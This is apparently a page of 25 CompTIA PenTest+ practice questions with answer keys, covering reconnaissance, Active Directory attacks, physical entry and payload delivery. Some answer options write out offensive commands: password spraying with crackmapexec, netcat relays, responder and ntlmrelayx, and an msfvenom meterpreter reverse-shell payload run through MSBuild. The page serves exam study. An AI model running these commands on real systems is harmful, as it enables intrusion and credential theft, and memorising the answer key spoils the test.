CompTIA PenTest+ practice questions

1. Question 1 of 25

   A penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?

   • Atcprelay
   • BBluecrack
   • CScapy
   • Dtcpdump

   Show answer

   Correct answer: C

   How others answered

   • C100%

2. Question 2 of 25

   Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?

   • AThe tester is conducting a web application test.
   • BThe tester is assessing a mobile application.
   • CThe tester is evaluating a thick client application.
   • DThe tester is creating a threat model.

   Show answer

   Correct answer: D

   How others answered

   • D100%

3. Question 3 of 25

   A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?

   • AVM
   • BIAST
   • CDAST
   • DSCA

   Show answer

   Correct answer: D

   How others answered

   • D100%

4. Question 4 of 25

   A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:

   

   Which of the following should the tester recommend in the report to best prevent this type of vulnerability?

   • ADrop all excessive file permissions with chmod o-rwx.
   • BEnsure the requests application access logs are reviewed frequently.
   • CDisable the use of external entities.
   • DImplement a WAF to filter all incoming requests.

   Show answer

   Correct answer: C

   How others answered

   • C100%

5. Question 5 of 25

   A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement. Which of the following should the tester do first when developing the phishing campaign?

   • AShoulder surfing
   • BRecon-ng
   • CSocial media
   • DPassword dumps

   Show answer

   Correct answer: C

   How others answered

   • C100%

6. Question 6 of 25

   A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:

   

   Which of the following changes is required?

   • AThe condition on line 6
   • BThe method on line 5
   • CThe import on line 1
   • DThe delimiter in line 3

   Show answer

   Correct answer: A

   How others answered

   • A100%

7. Question 7 of 25

   During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?

   • AGolden Ticket
   • BKerberoasting
   • CDCShadow
   • DLSASS dumping

   Show answer

   Correct answer: B

   How others answered

   • B100%

8. Question 8 of 25

   While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ Which of the following is the main purpose of the command?

   • ATo perform a pass-the-hash attack over multiple endpoints within the internal network
   • BTo perform common protocol scanning within the internal network
   • CTo perform password spraying on internal systems
   • DTo execute a command in multiple endpoints at the same time

   Show answer

   Correct answer: C

   How others answered

   • C100%

9. Question 9 of 25

   A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?

   • APort mirroring
   • BSidecar scanning
   • CARP poisoning
   • DChannel scanning

   Show answer

   Correct answer: D

   How others answered

   • D100%

10. Question 10 of 25

    Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

    • APreserving artifacts
    • BReverting configuration changes
    • CKeeping chain of custody
    • DExporting credential data

    Show answer

    Correct answer: A

    How others answered

    • A100%

11. Question 11 of 25

    A tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?

    • Adig +short A AAAA local.domain
    • Bnslookup local.domain
    • Cdig afxr @local.dns.server
    • Dnslookup -server local.dns.server local.domain *

    Show answer

    Correct answer: C

    How others answered

    • C100%

12. Question 12 of 25

    A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

    • ASniffing
    • BBanner grabbing
    • CTCP/UDP scanning
    • DPing sweeps

    Show answer

    Correct answer: A

    How others answered

    • A100%

13. Question 13 of 25

    A penetration tester reviews a SAST vulnerability scan report. The following lines of code have been reported as vulnerable:

    

    Which of the following is the best method to remediate this vulnerability?

    • AImplementing a logging framework
    • BRemoving the five code lines reported with issues
    • CInitiating a secure coding-awareness program with all the developers
    • DDocumenting the vulnerability as a false positive

    Show answer

    Correct answer: A

    How others answered

    • A100%

14. Question 14 of 25

    During a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?

    • ABurp Suite
    • BWireshark
    • CZed Attack Proxy
    • DMetasploit

    Show answer

    Correct answer: B

    How others answered

    • B91%
    • A9%

15. Question 15 of 25

    A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

    • Aattacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
    • Battacker_host$ mknod backpipe p attacker_host$ nc -l -p 8000 | 0 <backpipe | nc <target_cidr> 80 | tee backpipe
    • Cattacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000
    • Dattacker_host$ proxychains nmap -sT <target_cidr>

    Show answer

    Correct answer: D

    How others answered

    • D100%

16. Question 16 of 25

    A penetration tester is unable to identify the Wi-Fi SSID on a client's cell phone. Which of the following techniques would be most effective to troubleshoot this issue?

    • ASidecar scanning
    • BChannel scanning
    • CStealth scanning
    • DStatic analysis scanning

    Show answer

    Correct answer: B

    How others answered

    • B100%

17. Question 17 of 25

    During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

    • ASQL injection
    • BSSRF
    • CXSS
    • DServer-side template injection

    Show answer

    Correct answer: C

    How others answered

    • C100%

18. Question 18 of 25

    A penetration tester attempts unauthorized entry to the company’s server room as part of a security assessment. Which of the following is the best technique to manipulate the lock pins and open the door without the original key?

    • APlug spinner
    • BBypassing
    • CDecoding
    • DRaking

    Show answer

    Correct answer: D

    How others answered

    • D100%

19. Question 19 of 25

    Select 2

    Which of the following technologies is most likely used with badge cloning? (Choose two.)

    • ANFC
    • BRFID
    • CBluetooth
    • DModbus
    • EZigbee
    • FCAN bus

    Show answer

    Correct answer: A, B

    How others answered

    • AB100%

20. Question 20 of 25

    During a penetration test of a web application, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?

    • ARun TruffleHog against a local clone of the application.
    • BScan the live web application using Nikto.
    • CPerform a manual code review of the Git repository.
    • DUse SCA software to scan the application source code.

    Show answer

    Correct answer: A

    How others answered

    • A100%

21. Question 21 of 25

    A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

    • AKiosk escape
    • BArbitrary code execution
    • CProcess hollowing
    • DLibrary injection

    Show answer

    Correct answer: A

    How others answered

    • A100%

22. Question 22 of 25

    Given the following script:

    

    Which of the following is the penetration tester most likely trying to do?

    • AChange the system's wallpaper based on the current user's preferences.
    • BCapture the administrator's password and transmit it to a remote server.
    • CConditionally stage and execute a remote script.
    • DLog the internet browsing history for a systems administrator.

    Show answer

    Correct answer: C

    How others answered

    • C100%

23. Question 23 of 25

    A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?

    • Antlmrelayx.py -t 192.168.1.0/24 -l 1234
    • Bnc -tulpn 1234 192.168.1.2
    • Cresponder.py -I eth0 -wP
    • Dcrackmapexec smb 192.168.1.0/24 -u "user" -p "pass123"

    Show answer

    Correct answer: C

    How others answered

    • C100%

24. Question 24 of 25

    A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

    • Aregsvr32 /s /n /u C:\evil.xml
    • BMSBuild.exe C:\evil.xml
    • Cmshta.exe C:\evil.xml
    • DAppInstaller.exe C:\evil.xml

    Show answer

    Correct answer: B

    How others answered

    • B100%

25. Question 25 of 25

    A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be specified in the rules of engagement?

    • ATesting window
    • BTerms of service
    • CAuthorization letter
    • DShared responsibilities

    Show answer

    Correct answer: A

    How others answered

    • A100%

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

PT0-003 practice, question 1 of 25